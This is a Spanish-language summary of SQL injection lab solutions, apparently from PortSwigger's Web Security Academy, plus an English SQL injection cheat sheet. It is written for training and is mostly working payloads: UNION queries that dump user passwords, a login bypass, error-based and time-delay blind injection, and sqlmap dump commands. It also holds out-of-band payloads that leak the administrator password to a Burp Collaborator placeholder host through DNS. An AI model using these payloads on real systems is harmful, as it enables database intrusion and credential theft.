(X) Resumen_SQLi

SQL injection UNION attack, determinar el número de columnas

(Sigue añadiendo NULLs hasta que des con el número de columnas)

``'+UNION+SELECT+NULL,NULL--

SQL injection UNION attack, Encontrar columnas con texto

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
2. Determine el número de columnas que devuelve la consulta. Verifique que la consulta devuelva tres columnas, utilizando la siguiente carga útil en el parámetro `category`:

``+UNION+SELECT+NULL,NULL,NULL--

3. Intente reemplazar cada valor nulo con el valor aleatorio proporcionado por el laboratorio, por ejemplo:

``'+UNION+SELECT+'abcdef',NULL,NULL--

1. Si se produce un error, pase al siguiente valor nulo e inténtelo en su lugar.

SQL injection UNION attack, recuperando datos de otras tablas

Solución Rápida:

Utilice las cargas útiles anteriores para recuperar el número de columnas y cuáles contienen datos de texto. La descripción indica que existe una tabla `users` con las columnas `username` y

`password`. Utilice la siguiente carga útil para recuperar el contenido de la tabla `users`:

```'+UNION+SELECT+username,+password+FROM+users--```

Solución Larga:

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
2. Determine el número de columnas que devuelve la consulta y cuáles contienen datos de texto. Verifique que la consulta devuelva dos columnas, ambas con texto, utilizando una carga útil como la siguiente en el parámetro de categoría:

```'+UNION+SELECT+'abc','def'--.```

3. Utilice la siguiente carga útil para recuperar el contenido de la tabla de usuarios:

```` '+UNION+SELECT+username,+password+FROM+users--```

4. Verifique que la respuesta de la aplicación contenga nombres de usuario y contraseñas.

SQL injection UNION attack, recuperar múltiples valores en una sola columna

Solución Rápida:

La consulta original devuelve dos columnas, pero solo una contiene texto. Se pueden recuperar varios valores juntos, incluyendo un separador adecuado para distinguirlos. La carga útil de este laboratorio es la siguiente:

```' UNION SELECT username || ' ' || password FROM users--```

Solución Larga:

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.

2. Determine el número de columnas que devuelve la consulta y cuáles contienen datos de texto. Verifique que la consulta devuelva dos columnas, de las cuales solo una contenga texto, utilizando una carga útil como la siguiente en el parámetro `category`:

```
'+UNION+SELECT+NULL,'abc'--
```

3. Utilice la siguiente carga útil para recuperar el contenido de la tabla de usuarios:

```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
```

4. Verifique que la respuesta de la aplicación contenga nombres de usuario y contraseñas.

SQLI attack, Consultar el tipo y la versión de la base de datos en Oracle

Solución Rápida:

Tenga en cuenta que en las bases de datos Oracle, cada sentencia `SELECT` debe especificar una tabla para seleccionar `FROM`. Oracle cuenta con una tabla integrada llamada `dual` que puede utilizarse para este propósito. Tras obtener el número de columnas y qué columna contiene datos, puede utilizar la hoja de referencia de inyección SQL para descubrir cómo obtener la versión en bases de datos Oracle. La carga útil es la siguiente:

```
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
```

Solución Larga:

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
2. Determine el número de columnas que devuelve la consulta y cuáles contienen datos de texto. Verifique que la consulta devuelva dos columnas, ambas con texto, utilizando una carga útil como la siguiente en el parámetro de categoría:

```
'+UNION+SELECT+'abc','def'+FROM+dual--
```

3. Use la siguiente carga útil para mostrar la versión de la base de datos:

```
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
```

SQLi attack, Consulta del tipo y la versión de la base de datos en MySQL y Microsoft

Solución Rápida:

Este laboratorio es similar a los anteriores. La única diferencia es que es obligatorio usar Burp, ya que parece imposible inyectar el carácter '#' desde el navegador. La carga útil final es la siguiente:

``'+UNION+SELECT+@@version,+NULL#

Solución Larga:

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
2. Determine el número de columnas que devuelve la consulta y cuáles contienen datos de texto. Verifique que la consulta devuelva dos columnas, ambas con texto, utilizando una carga útil como la siguiente en el parámetro `category`:

``'+UNION+SELECT+'abc','def'#

3. Use la siguiente carga útil para mostrar la versión de la base de datos:

``'+UNION+SELECT+@@version,+NULL#

SQLi attack, Listado del contenido de bases de datos en bases de datos que non-Oracle

Solución Rápida:

Obtener bases de datos:

``sqlmap -u "<url_destino>" --dbs

Listar tablas en la base de datos

``sqlmap -u "<url_destino>" -D public --tables

Volcar el contenido de una tabla de la base de datos

``sqlmap -u "<url_destino>" -D public -T <nombre_tabla_usuarios> --dump

Solución Larga:

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
2. Determine el número de columnas que devuelve la consulta y cuáles contienen datos de texto. Verifique que la consulta devuelva dos columnas, ambas con texto, utilizando una carga útil como la siguiente en el parámetro `category`:

``'+UNION+SELECT+'abc','def'--.

3. Use la siguiente carga útil para recuperar la lista de tablas en la base de datos:

``'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

4. Busque el nombre de la tabla que contiene las credenciales de usuario.
5. Utilice la siguiente carga útil (reemplazando el nombre de la tabla) para recuperar los detalles de las columnas de la tabla:
   ``'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
6. Busque los nombres de las columnas que contienen los nombres de usuario y las contraseñas.
7. Utilice la siguiente carga útil (reemplazando los nombres de tabla y columna) para recuperar los nombres de usuario y las contraseñas de todos los usuarios:

``'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--

8. Busque la contraseña del usuario `administrador` y úsela para iniciar sesión.

SQLi attack, Listado del contenido de la base de datos en Oracle

Solución Rápida:

Obtener tablas

``sqlmap -u "<target_url>" --tables

Luego encontré la tabla de destino y la ejecuté

``sqlmap -u "<target_url>" -T <users_table_name> --dump

Solución Larga:

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
2. Determine el número de columnas que devuelve la consulta y cuáles contienen datos de texto. Verifique que la consulta devuelva dos columnas, ambas con texto, utilizando una carga útil como la siguiente en el parámetro `category`:

``'+UNION+SELECT+'abc','def'+FROM+dual--

3. Use la siguiente carga útil para recuperar la lista de tablas en la base de datos:

``'+UNION+SELECT+table_name,NULL+FROM+all_tables--

4. Busque el nombre de la tabla que contiene las credenciales de usuario.
5. Utilice la siguiente carga útil (reemplazando el nombre de la tabla) para recuperar los detalles de las columnas de la tabla:

``'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--

6. Busque los nombres de las columnas que contienen los nombres de usuario y las contraseñas.
7. Utilice la siguiente carga útil (reemplazando los nombres de tabla y columna) para recuperar los nombres de usuario y las contraseñas de todos los usuarios:

``'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--

8. Busque la contraseña del usuario "administrador" y úsela para iniciar sesión.

Blind SQL injection, con respuestas condicionales

Solución Rápida:

Detectar tablas

``sqlmap -u "<target_url>" --cookie="TrackingId=1" -p "TrackingId" --level 3 --tables

Volcar el contenido de la tabla 'users' (configurar el SGBD para acelerar la ejecución)

``sqlmap -u "<target_url>" --cookie="TrackingId=1" -p "TrackingId" --level 3 -T users --dbms=postgresql --dump

Blind SQL injection con errores condicionales

Solución Rápida:

Detectar ciegamente todas las tablas en la base de datos SYSTEM

``sqlmap -u "<target_url>" --cookie="TrackingId=1" -p "TrackingId" --level 3 --dump

Volcar el contenido de la tabla users

``sqlmap -u "<target_url>" --cookie="TrackingId=1" -p "TrackingId" --level 3 -T users --dump

Blind SQL injection con dealy

1. Visite la página principal de la tienda y use Burp Suite para interceptar y modificar la solicitud que contiene la cookie TrackingId.
2. Modifique la cookie TrackingId a:

``TrackingId=x'||pg_sleep(10)--

3. Envíe la solicitud y observe que la aplicación tarda 10 segundos en responder.

Blind SQL injection con delays y devolución de información

Enumerar tablas

``sqlmap -u "<target_url>" --cookie="TrackingId=1" -p "TrackingId" --level 3 --dump

Volcar el contenido de la tabla de usuarios

``sqlmap -u "<target_url>" --cookie="TrackingId=1" -p "TrackingId" --level 3 -T users --dump

Blind SQL injection with out-of-band interaction

1. Visite la página principal de la tienda y use Burp Suite para interceptar y modificar la solicitud que contiene la cookie "TrackingId".
2. Modifique la cookie "TrackingId" y cámbiela a una carga útil que active una interacción con el servidor de Collaborator. Por ejemplo, puede combinar la inyección SQL con técnicas básicas de XXE como se indica a continuación:

``TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--.

La solución descrita aquí basta para activar una búsqueda de DNS y, por lo tanto, resolver el laboratorio. En una situación real, usaría el cliente Burp Collaborator para verificar que su carga útil haya activado una búsqueda de DNS y, potencialmente, explotar este comportamiento para extraer datos confidenciales de la aplicación. Analizaremos esta técnica en el próximo laboratorio.

Blind SQL injection with out-of-band data exfiltration

1. Visite la página principal de la tienda y use Burp Suite Professional para interceptar y modificar la solicitud que contiene la cookie "TrackingId".
2. Vaya al menú de Burp e inicie el cliente Burp Collaborator.
3. Haga clic en "Copiar al portapapeles" para copiar una carga útil única de Burp Collaborator en su portapapeles. Deje abierta la ventana del cliente Burp Collaborator.
4. Modifique la cookie "TrackingId" para convertirla en una carga útil que filtre la contraseña del administrador al interactuar con el servidor Collaborator. Por ejemplo, puede combinar la inyección SQL con técnicas XXE básicas de la siguiente manera:

``TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

5. Regrese a la ventana del cliente de Burp Collaborator y haga clic en "Sondear ahora". Si no ve ninguna interacción, espere unos segundos y vuelva a intentarlo, ya que la consulta del servidor se ejecuta de forma asíncrona.
6. Debería ver algunas interacciones DNS y HTTP iniciadas por la aplicación como resultado de su carga útil. La contraseña del usuario "administrador" debería aparecer en el subdominio de la interacción y puede verla en el cliente Burp Collaborator. Para las interacciones DNS, el nombre de dominio completo buscado se muestra en la pestaña Descripción. Para las interacciones HTTP, el nombre de dominio completo se muestra en el encabezado Host de la pestaña Solicitud a Colaborador.
7. En su navegador, haga clic en "Mi cuenta" para abrir la página de inicio de sesión. Use la contraseña para iniciar sesión como usuario "administrador".

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

1. Use Burp Suite para interceptar y modificar la solicitud que establece el filtro de categoría de producto.
2. Modifique el parámetro `category`, asignándole el valor `'+OR+1=1--`.
3. Envíe la solicitud y verifique que la respuesta ahora contenga elementos adicionales.

Lab: SQL injection vulnerability allowing login bypass

1. Use Burp Suite para interceptar y modificar la solicitud de inicio de sesión. 2. Modifique el parámetro `nombre de usuario`, dándole el valor:

``administrador'--

Visible error-based SQL injection

1. Con el navegador integrado de Burp, explore la funcionalidad del laboratorio.

2. Vaya a la pestaña **Proxy > Historial HTTP** y busque una solicitud `GET /` que contenga una cookie `TrackingId`.
3. En Repeater, añada una comilla simple al valor de su cookie `TrackingId` y envíe la solicitud.

``TrackingId=ogAZZfxtOKUELbuJ'

---

1. En la respuesta, observe el mensaje de error detallado. Este revela la consulta SQL completa, incluido el valor de su cookie. También explica que tiene una cadena literal sin cerrar. Observe que la inyección aparece dentro de una cadena entre comillas simples.
2. En la solicitud, añada caracteres de comentario para comentar el resto de la consulta, incluyendo la comilla simple adicional que causa el error:

``TrackingId=ogAZZfxtOKUELbuJ'--

---

1. Envíe la solicitud. Confirme que ya no recibe ningún error. Esto sugiere que la consulta ahora es sintácticamente válida.
2. Adapte la consulta para incluir una subconsulta genérica `SELECT` y convierta el valor devuelto a un tipo de dato `int`:

`` TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--

---

1. Envíe la solicitud. Observe que ahora recibe un error diferente que indica que una condición `AND` debe ser una expresión booleana.
2. Modifique la condición según corresponda. Por ejemplo, puede simplemente agregar un operador de comparación (`=`) como se indica a continuación:

``TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--

1. Envíe la solicitud. Confirme que ya no recibe ningún error. Esto sugiere que esta consulta vuelve a ser válida.
2. Adapte su instrucción `SELECT` genérica para que recupere los nombres de usuario de la base de datos:

`` TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--

1. Observe que vuelve a recibir el mensaje de error inicial. Observe que su consulta ahora parece estar truncada debido a un límite de caracteres. Como resultado, no se incluyen los caracteres de comentario que añadió para corregir la consulta. ç
2. Elimine el valor original de la cookie `TrackingId` para liberar caracteres adicionales. Reenvíe la solicitud.

``TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--

1. Observe que recibe un nuevo mensaje de error, que parece generado por la base de datos. Esto sugiere que la consulta se ejecutó correctamente, pero sigue recibiendo un error porque devolvió más de una fila inesperadamente.
2. Modifique la consulta para que solo devuelva una fila:

``TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

1. Envíe la solicitud. Observe que el mensaje de error ahora filtra el primer nombre de usuario de la tabla `users` :

``ERROR: sintaxis de entrada no válida para el tipo entero: "administrator"

1. Ahora que sabe que `administrator` es el primer usuario de la tabla, modifique la consulta de nuevo para filtrar su contraseña:

``TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

---

1. Inicie sesión como `administrator` con la contraseña robada para resolver el laboratorio.

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle	`SELECT banner FROM v$version` `SELECT version FROM v$instance`
Microsoft	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle	`--comment`
Microsoft	`--comment` `/*comment*/`
PostgreSQL	`--comment` `/*comment*/`

MySQL	`#comment`
	`-- comment` [Note the space after the double dash]
	`/*comment*/`

String concatenation

You can concatenate together multiple strings to make a single string.

Oracle	`'foo'||'bar'`
Microsoft	`'foo'+'bar'`
PostgreSQL	`'foo'||'bar'`
MySQL	`'foo' 'bar'` [Note the space between the two strings] `CONCAT('foo','bar')`

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string `ba`.

Oracle	`SUBSTR('foobar', 4, 2)`
Microsoft	`SUBSTRING('foobar', 4, 2)`
PostgreSQL	`SUBSTRING('foobar', 4, 2)`
MySQL	`SUBSTRING('foobar', 4, 2)`

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle	`SELECT * FROM all_tables` `SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`
Microsoft	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
PostgreSQL	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
MySQL	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`
Microsoft	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`
PostgreSQL	`1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')`

Extracting data via visible error messages

You can potentially elicit error messages that leak sensitive data returned by your malicious query.

Microsoft	`SELECT 'foo' WHERE 1 = (SELECT 'secret')` `> Conversion failed when converting the varchar value 'secret' to data type int.`
PostgreSQL	`SELECT CAST((SELECT password FROM users LIMIT 1) AS int)` `> invalid input syntax for integer: "secret"`
MySQL	`SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))` `> XPATH syntax error: '\secret'`

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle	`Does not support batched queries.`
Microsoft	`QUERY-1-HERE; QUERY-2-HERE` `QUERY-1-HERE QUERY-2-HERE`
PostgreSQL	`QUERY-1-HERE; QUERY-2-HERE`
MySQL	`QUERY-1-HERE; QUERY-2-HERE`

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle	`dbms_pipe.receive_message(('a'),10)`
Microsoft	`WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT pg_sleep(10)`
MySQL	`SELECT SLEEP(10)`

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle

(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:

```
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
```

The following technique works on fully patched Oracle installations, but requires elevated privileges:

```
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
```

Microsoft

```
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
```

PostgreSQL

```
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
```

MySQL

The following techniques work on Windows only:

```
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
```

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle

```
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-
QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM
dual
```

Microsoft

```
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-
HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-
SUBDOMAIN/a"')
```

PostgreSQL

```
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-
COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

MySQL

The following technique works on Windows only:

```
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-
SUBDOMAIN\a'
```